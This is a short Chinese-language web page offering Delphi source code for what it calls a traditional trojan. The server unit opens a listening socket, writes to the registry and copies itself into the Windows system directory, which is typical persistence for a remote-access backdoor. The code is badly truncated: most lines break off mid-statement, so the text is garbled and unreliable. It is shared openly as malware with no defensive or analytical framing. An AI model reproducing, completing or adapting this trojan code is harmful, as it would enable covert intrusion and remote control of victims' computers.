程序跟傳統木馬一樣
源碼如下
////Server
unit UtMain;
////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@
////////QQ:
///部分代碼從網上收集///////////
////////////////////////////////
interface
uses
Windows
Dialogs
type
TFmMain = class(TForm)
SS: TServerSocket;
Memo
procedure FormCreate(Sender: TObject);
procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FmMain: TFmMain;
reg:TRegistry;
implementation
{$R *
procedure TFmMain
var
sysdir:array[
begin
Application
FmMain
reg:=TRegistry
reg
reg
if reg
reg
reg
GetSystemDirectory(sysdir
if not FileExists(sysdir+
copyfile(Pchar(Application
SS
try
SS
except
end;
end;
[
From:http://tw.wingwit.com/Article/program/Delphi/201311/11129.html